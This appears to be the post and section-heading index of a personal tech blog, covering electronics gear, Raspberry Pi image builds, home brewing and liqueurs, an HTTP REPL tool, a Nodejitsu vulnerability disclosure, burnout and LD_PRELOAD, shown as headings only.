Why not come up with something custom? It’s simple, I like getting stuff done.

blog.mmalecki.com

Electronics lab on the move

Soldering iron

Reflow hot plate

Power supply

Test instruments

Hand tools

Consumables

Drone stuff

General remarks

pi-gen and Packer - building custom Raspberry Pi OS images from scratch

Requirements: why pi-gen?

Requirements: why Packer?

Setting up pi-gen

Setting up Packer

Tying it all together

Summary

Mead, part one

Goals

Digression

Research

Turning of sugar

Yeast

The making of

Sanitation

Brewing

Digression

Fermentation

Monitoring

Conclusion

Lazy citrus cordial

Recipe

Infinity lemonade

Gin and lazy juice

http-console2 0.9 - a friendly REPL-based HTTP API explorer

Feature highlights

Multiline JSON bodies

OpenAPI-based autocompletion

Per-origin command and request body histories

Contexts

Installing

The refactor

Work organization

Refresh

Autocompletion

Conclusions

Plans for the next version

Homemade coffee liqueur

Recipe

Cold brew coffee

Coffee syrup

Coffee rum

Coffee liqueur

Methodology

Alcohol content

Sugar content

Conclusions

Nodejitsu security vulnerabilities

Leaving a process running

All instrumentation and user processes running with the same permissions

Sensitive configuration files readable to world

Possible impact of these vulnerabilities

Timeline and Nodejitsu response

Acknowledgements

Shameless self-plug

Burnout

How it all started

Lessons learned

Don’t let your work define you

Constantly deliver

Take vacation

Learn to say ‘no’

Delayed gratification is bullshit

Burnout is serious

Quit your job

What now?

Suggested reading

Using LD_PRELOAD

Hello, world!

whoami

`whoami`